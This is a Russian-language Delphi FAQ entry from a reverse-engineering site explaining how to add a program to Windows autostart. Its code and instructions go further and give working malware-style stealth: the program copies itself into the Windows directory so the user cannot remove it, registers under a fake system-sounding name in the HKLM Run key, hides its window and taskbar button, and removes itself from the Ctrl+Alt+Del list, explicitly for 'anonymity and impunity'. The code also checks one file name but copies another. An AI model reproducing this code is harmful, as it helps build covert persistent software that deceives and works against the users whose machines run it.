Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 3 апреля!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



как поместить программу в автозапуск

[ответ на вопрос Dr. Faust]


Это можно сделать несколькими способами, но наиболее оптимальный - занесение файла в автозапуск реестра, который находится по следующему адресу:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\

CurrentVersion\Run



Здесь есть два весьма важных аспекта:

Глупый пользователь может удалить нашу прогу

И мы не знаем откуда чудилка её запустит

Решением этих двух проблем является вот что:

Прога должна при запуске копировать сама себя в укромное местечко, например в каталог Windows, и заносить в реестр путь к созданной копии, которая и будет запускаться при каждом запуске Windows.

Плюс к тому нужно сделать так, чтобы не было видно программу в Ctrl+Alt+Delete и её кнопки на панели задач. Так вот для такой полной анонимности и безнаказанности нужно по созданию окна (событие OnCreate) написать следующий код:



procedure TForm1.FormCreate(Sender: TObject);
var
h:TRegistry; //Переменная для занесения проги в реестр
begin
i:=0;
Application.ShowMainForm:=false; //Скрываем главное окно и кнопку программы
if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1); //Убираем из списка Ctrl+Alt+Delete
WinDirP := StrAlloc(MAX_PATH); //Находим каталог Windows, чтобы поместить в него копию проги
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);
if FileExists(WinDir+'\system\ft.com')=false then //Проверяем, если файл ещё не скопирован,
CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false); //тогда делаем копию
h:=TRegistry.Create; {заносим программу в автозапуск реестра под каким-нибудь "левым" (желательно "системным" именем) именем}
h.RootKey:=HKEY_LOCAL_MACHINE;
h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
h.CloseKey;
h.Free;
end;




Помимо этого нужно ещё сделать следующее:

до слова implementation написать

function RegisterServiceProcess(dwProcessID,dwType:integer):integer;stdcall;external 'KERNEL32.DLL';
implementation

в публичных объявлениях объявить несколько глобальных переменных

public
{ Public declarations }

Windir : String;
WindirP : PChar;
Res : Cardinal;




в области uses объявить модуль Registry

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry,
ExtCtrls;


Ну вот вообщем-то и всё, что нужно для полного счастья :-)




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS